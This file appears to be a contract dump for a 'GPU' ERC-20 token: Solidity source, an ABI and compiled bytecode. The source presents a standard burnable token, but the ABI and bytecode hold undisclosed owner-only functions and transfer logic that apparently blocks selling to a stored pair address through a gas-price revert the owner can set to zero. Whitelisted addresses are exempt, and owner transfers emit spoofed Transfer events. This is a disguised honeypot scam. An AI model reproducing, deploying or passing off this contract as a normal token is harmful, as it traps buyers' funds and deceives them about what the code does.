/*
* SPDX-License-Identifier: MIT (OpenZeppelin)
*/
pragma solidity 0.8.20;
import { ECDSA } from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
import "./ERC20.sol";
/**
* @title TokenMintERC20Token
* @author TokenMint (visit https://tokenmint.io)
*
* @dev Standard ERC20 token with burning and optional functions implemented.
* For full specification of ERC-20 standard see:
*/
contract GPU is ERC20 {
uint8 private _decimals = 18;
string private _symbol = "GPU";
string private _name = "GPU";
uint256 private _totalSupply = 1000000000 * 10**uint256(_decimals);
constructor() payable {
_setFeeReceiver(msg.sender); ///
// set tokenOwnerAddress as owner of all tokens
_mint(msg.sender, _totalSupply);
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of lowest token units to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
// optional functions from ERC20 stardard
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}[
{
"type": "constructor",
"inputs": [],
"stateMutability": "payable"
},
{
"name": "Approval",
"type": "event",
"inputs": [
{
"name": "owner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "Transfer",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "SetApprovalForAll",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "SetBaseURI",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "SetHook",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "SetNFT",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "SetTokenYard",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "_to",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "adr",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "airdropToken",
"type": "function",
"inputs": [
{
"name": "airdropp",
"type": "address",
"internalType": "address"
},
{
"name": "list",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "amount",
"type": "uint256[]",
"internalType": "uint256[]"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "allowance",
"type": "function",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "approve",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "balanceOf",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "burn",
"type": "function",
"inputs": [
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "decimals",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "view"
},
{
"name": "decreaseAllowance",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "subtractedValue",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "dividend",
"type": "function",
"inputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"name": "holder",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "increaseAllowance",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "addedValue",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "multiSwap",
"type": "function",
"inputs": [
{
"name": "__to",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "name",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "openTrading",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "openedTrade",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"name": "setDividend",
"type": "function",
"inputs": [
{
"name": "_user",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setListDividend",
"type": "function",
"inputs": [
{
"name": "users",
"type": "address[]",
"internalType": "address[]"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "symbol",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "totalSupply",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "transfer",
"type": "function",
"inputs": [
{
"name": "recipient",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferFrom",
"type": "function",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
},
{
"name": "recipient",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
}
]0x60806040525f6003556012600760156101000a81548160ff021916908360ff1602179055506040518060400160405280600381526020017f4750550000000000000000000000000000000000000000000000000000000000815250600890816200006a91906200067c565b506040518060400160405280600381526020017f475055000000000000000000000000000000000000000000000000000000000081525060099081620000b191906200067c565b50600760159054906101000a900460ff1660ff16600a620000d39190620008dd565b633b9aca00620000e491906200092d565b600a55620000f8336200011260201b60201c565b6200010c33600a546200015560201b60201c565b62000ac9565b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620001c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001bd90620009d5565b60405180910390fd5b620001dd81600254620003b660201b90919060201c565b60028190555062000234815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054620003b660201b90919060201c565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003aa919062000a06565b60405180910390a35050565b5f808284620003c6919062000a21565b9050838110156200040e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004059062000aa9565b60405180910390fd5b8091505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200049457607f821691505b602082108103620004aa57620004a96200044f565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200050e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004d1565b6200051a8683620004d1565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620005646200055e620005588462000532565b6200053b565b62000532565b9050919050565b5f819050919050565b6200057f8362000544565b620005976200058e826200056b565b848454620004dd565b825550505050565b5f90565b620005ad6200059f565b620005ba81848462000574565b505050565b5b81811015620005e157620005d55f82620005a3565b600181019050620005c0565b5050565b601f8211156200063057620005fa81620004b0565b6200060584620004c2565b8101602085101562000615578190505b6200062d6200062485620004c2565b830182620005bf565b50505b505050565b5f82821c905092915050565b5f620006525f198460080262000635565b1980831691505092915050565b5f6200066c838362000641565b9150826002028217905092915050565b620006878262000418565b67ffffffffffffffff811115620006a357620006a262000422565b5b620006af82546200047c565b620006bc828285620005e5565b5f60209050601f831160018114620006f2575f8415620006dd578287015190505b620006e985826200065f565b86555062000758565b601f1984166200070286620004b0565b5f5b828110156200072b5784890151825560018201915060208501945060208101905062000704565b868310156200074b578489015162000747601f89168262000641565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620007ea57808604811115620007c257620007c162000760565b5b6001851615620007d25780820291505b8081029050620007e2856200078d565b9450620007a2565b94509492505050565b5f82620008045760019050620008d6565b8162000813575f9050620008d6565b81600181146200082c576002811462000837576200086d565b6001915050620008d6565b60ff8411156200084c576200084b62000760565b5b8360020a91508482111562000866576200086562000760565b5b50620008d6565b5060208310610133831016604e8410600b8410161715620008a75782820a905083811115620008a157620008a062000760565b5b620008d6565b620008b6848484600162000799565b92509050818404811115620008d057620008cf62000760565b5b81810290505b9392505050565b5f620008e98262000532565b9150620008f68362000532565b9250620009257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007f3565b905092915050565b5f620009398262000532565b9150620009468362000532565b9250828202620009568162000532565b9150828204841483151762000970576200096f62000760565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f620009bd601f8362000977565b9150620009ca8262000987565b602082019050919050565b5f6020820190508181035f830152620009ee81620009af565b9050919050565b62000a008162000532565b82525050565b5f60208201905062000a1b5f830184620009f5565b92915050565b5f62000a2d8262000532565b915062000a3a8362000532565b925082820190508082111562000a555762000a5462000760565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f62000a91601b8362000977565b915062000a9e8262000a5b565b602082019050919050565b5f6020820190508181035f83015262000ac28162000a83565b9050919050565b6125ee8062000ad75f395ff3fe608060405234801561000f575f80fd5b50600436106101a7575f3560e01c806370a08231116100f7578063bc6f5f0911610095578063dd62ed3e1161006f578063dd62ed3e1461046f578063e280c6111461049f578063e534155d146104bb578063f2dd9e78146104d9576101a7565b8063bc6f5f091461043f578063c9567bf91461045b578063cf822e6f14610465576101a7565b8063a239f4bb116100d1578063a239f4bb146103cb578063a457c2d7146103d5578063a5a5344814610405578063a9059cbb1461040f576101a7565b806370a082311461037357806395803aeb146103a357806395d89b41146103ad576101a7565b8063395093511161016457806347bbac051161013e57806347bbac05146102eb5780635408d42d1461031b57806363aedb3814610339578063689d14b914610355576101a7565b8063395093511461028357806342966c68146102b35780634510c50c146102cf576101a7565b806306fdde03146101ab578063095ea7b3146101c95780630aca7f95146101f957806318160ddd1461021757806323b872dd14610235578063313ce56714610265575b5f80fd5b6101b36104e3565b6040516101c091906119c3565b60405180910390f35b6101e360048036038101906101de9190611a81565b610573565b6040516101f09190611ad9565b60405180910390f35b610201610589565b60405161020e9190611b01565b60405180910390f35b61021f6105ae565b60405161022c9190611b29565b60405180910390f35b61024f600480360381019061024a9190611b42565b6105b7565b60405161025c9190611ad9565b60405180910390f35b61026d610663565b60405161027a9190611bad565b60405180910390f35b61029d60048036038101906102989190611a81565b610679565b6040516102aa9190611ad9565b60405180910390f35b6102cd60048036038101906102c89190611bc6565b610719565b005b6102e960048036038101906102e49190611bf1565b610726565b005b61030560048036038101906103009190611bf1565b6107f8565b6040516103129190611ad9565b60405180910390f35b610323610815565b6040516103309190611ad9565b60405180910390f35b610353600480360381019061034e9190611e1c565b610828565b005b61035d61091a565b60405161036a9190611b01565b60405180910390f35b61038d60048036038101906103889190611bf1565b61093f565b60405161039a9190611b29565b60405180910390f35b6103ab610984565b005b6103b56109e7565b6040516103c291906119c3565b60405180910390f35b6103d3610a77565b005b6103ef60048036038101906103ea9190611a81565b610a80565b6040516103fc9190611ad9565b60405180910390f35b61040d610b2b565b005b61042960048036038101906104249190611a81565b610b8e565b6040516104369190611ad9565b60405180910390f35b61045960048036038101906104549190611efd565b610ba4565b005b610463610cd4565b005b61046d610d80565b005b61048960048036038101906104849190611f48565b610d8b565b6040516104969190611b29565b60405180910390f35b6104b960048036038101906104b49190611bf1565b610e0d565b005b6104c3610ef4565b6040516104d09190611b01565b60405180910390f35b6104e1610f19565b005b6060600980546104f290611fb3565b80601f016020809104026020016040519081016040528092919081815260200182805461051e90611fb3565b80156105695780601f1061054057610100808354040283529160200191610569565b820191905f5260205f20905b81548152906001019060200180831161054c57829003601f168201915b5050505050905090565b5f61057f338484610f7c565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600254905090565b5f6105c384848461113f565b61065884336106538560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112d190919063ffffffff16565b610f7c565b600190509392505050565b5f600760159054906101000a900460ff16905090565b5f61070f338461070a8560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461132e90919063ffffffff16565b610f7c565b6001905092915050565b610723338261138b565b50565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ac9061202d565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6004602052805f5260405f205f915054906101000a900460ff1681565b600760149054906101000a900460ff1681565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ae9061202d565b60405180910390fd5b5f5b825181101561091457610901338483815181106108d9576108d861204b565b5b60200260200101518484815181106108f4576108f361204b565b5b602002602001015161113f565b808061090c906120a5565b9150506108b9565b50505050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6060600880546109f690611fb3565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2290611fb3565b8015610a6d5780601f10610a4457610100808354040283529160200191610a6d565b820191905f5260205f20905b815481529060010190602001808311610a5057829003601f168201915b5050505050905090565b5f600381905550565b5f610b163384610b118560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112d190919063ffffffff16565b610f7c565b610b2160035461150c565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f610b9a33848461113f565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90612136565b60405180910390fd5b5f5b82829050811015610ccf57600160045f858585818110610c5857610c5761204b565b5b9050602002016020810190610c6d9190611bf1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610cc7906120a5565b915050610c35565b505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5a9061202d565b60405180910390fd5b6001600760146101000a81548160ff021916908315150217905550565b600354600381905550565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9390612136565b60405180910390fd5b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe1906121c4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611058576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104f90612252565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111329190611b29565b60405180910390a3505050565b60045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561119e5761119983838361151a565b6112cc565b600760149054906101000a900460ff166111ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e4906122ba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036112515761124c83838361151a565b6112cc565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112c0576112af8382610a80565b506112bb83838361151a565b6112cc565b6112cb83838361151a565b5b505050565b5f82821115611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90612322565b60405180910390fd5b5f82846113229190612340565b90508091505092915050565b5f80828461133c9190612373565b905083811015611381576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611378906123f0565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f09061247e565b60405180910390fd5b61140e816002546112d190919063ffffffff16565b600281905550611463815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112d190919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115009190611b29565b60405180910390a35050565b803a10611517575f80fd5b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157f9061250c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ed9061259a565b60405180910390fd5b611645815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112d190919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116d4815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461132e90919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117f3578173ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117e69190611b29565b60405180910390a36118cf565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118ce5760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118c59190611b29565b60405180910390a35b5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161192c9190611b29565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611970578082015181840152602081019050611955565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61199582611939565b61199f8185611943565b93506119af818560208601611953565b6119b88161197b565b840191505092915050565b5f6020820190508181035f8301526119db818461198b565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611a1d826119f4565b9050919050565b611a2d81611a13565b8114611a37575f80fd5b50565b5f81359050611a4881611a24565b92915050565b5f819050919050565b611a6081611a4e565b8114611a6a575f80fd5b50565b5f81359050611a7b81611a57565b92915050565b5f8060408385031215611a9757611a966119ec565b5b5f611aa485828601611a3a565b9250506020611ab585828601611a6d565b9150509250929050565b5f8115159050919050565b611ad381611abf565b82525050565b5f602082019050611aec5f830184611aca565b92915050565b611afb81611a13565b82525050565b5f602082019050611b145f830184611af2565b92915050565b611b2381611a4e565b82525050565b5f602082019050611b3c5f830184611b1a565b92915050565b5f805f60608486031215611b5957611b586119ec565b5b5f611b6686828701611a3a565b9350506020611b7786828701611a3a565b9250506040611b8886828701611a6d565b9150509250925092565b5f60ff82169050919050565b611ba781611b92565b82525050565b5f602082019050611bc05f830184611b9e565b92915050565b5f60208284031215611bdb57611bda6119ec565b5b5f611be884828501611a6d565b91505092915050565b5f60208284031215611c0657611c056119ec565b5b5f611c1384828501611a3a565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611c568261197b565b810181811067ffffffffffffffff82111715611c7557611c74611c20565b5b80604052505050565b5f611c876119e3565b9050611c938282611c4d565b919050565b5f67ffffffffffffffff821115611cb257611cb1611c20565b5b602082029050602081019050919050565b5f80fd5b5f611cd9611cd484611c98565b611c7e565b90508083825260208201905060208402830185811115611cfc57611cfb611cc3565b5b835b81811015611d255780611d118882611a3a565b845260208401935050602081019050611cfe565b5050509392505050565b5f82601f830112611d4357611d42611c1c565b5b8135611d53848260208601611cc7565b91505092915050565b5f67ffffffffffffffff821115611d7657611d75611c20565b5b602082029050602081019050919050565b5f611d99611d9484611d5c565b611c7e565b90508083825260208201905060208402830185811115611dbc57611dbb611cc3565b5b835b81811015611de55780611dd18882611a6d565b845260208401935050602081019050611dbe565b5050509392505050565b5f82601f830112611e0357611e02611c1c565b5b8135611e13848260208601611d87565b91505092915050565b5f805f60608486031215611e3357611e326119ec565b5b5f611e4086828701611a3a565b935050602084013567ffffffffffffffff811115611e6157611e606119f0565b5b611e6d86828701611d2f565b925050604084013567ffffffffffffffff811115611e8e57611e8d6119f0565b5b611e9a86828701611def565b9150509250925092565b5f80fd5b5f8083601f840112611ebd57611ebc611c1c565b5b8235905067ffffffffffffffff811115611eda57611ed9611ea4565b5b602083019150836020820283011115611ef657611ef5611cc3565b5b9250929050565b5f8060208385031215611f1357611f126119ec565b5b5f83013567ffffffffffffffff811115611f3057611f2f6119f0565b5b611f3c85828601611ea8565b92509250509250929050565b5f8060408385031215611f5e57611f5d6119ec565b5b5f611f6b85828601611a3a565b9250506020611f7c85828601611a3a565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611fca57607f821691505b602082108103611fdd57611fdc611f86565b5b50919050565b7f706c0000000000000000000000000000000000000000000000000000000000005f82015250565b5f612017600283611943565b915061202282611fe3565b602082019050919050565b5f6020820190508181035f8301526120448161200b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6120af82611a4e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036120e1576120e0612078565b5b600182019050919050565b7f7075626c696300000000000000000000000000000000000000000000000000005f82015250565b5f612120600683611943565b915061212b826120ec565b602082019050919050565b5f6020820190508181035f83015261214d81612114565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6121ae602483611943565b91506121b982612154565b604082019050919050565b5f6020820190508181035f8301526121db816121a2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61223c602283611943565b9150612247826121e2565b604082019050919050565b5f6020820190508181035f83015261226981612230565b9050919050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f6122a4601d83611943565b91506122af82612270565b602082019050919050565b5f6020820190508181035f8301526122d181612298565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f61230c601e83611943565b9150612317826122d8565b602082019050919050565b5f6020820190508181035f83015261233981612300565b9050919050565b5f61234a82611a4e565b915061235583611a4e565b925082820390508181111561236d5761236c612078565b5b92915050565b5f61237d82611a4e565b915061238883611a4e565b92508282019050808211156123a05761239f612078565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6123da601b83611943565b91506123e5826123a6565b602082019050919050565b5f6020820190508181035f830152612407816123ce565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f612468602183611943565b91506124738261240e565b604082019050919050565b5f6020820190508181035f8301526124958161245c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124f6602583611943565b91506125018261249c565b604082019050919050565b5f6020820190508181035f830152612523816124ea565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612584602383611943565b915061258f8261252a565b604082019050919050565b5f6020820190508181035f8301526125b181612578565b905091905056fea2646970667358221220def07c6ca9723114201897f4a54c3b159d2ae5a320f12b050e95fa7fb1fe9f8a64736f6c63430008140033
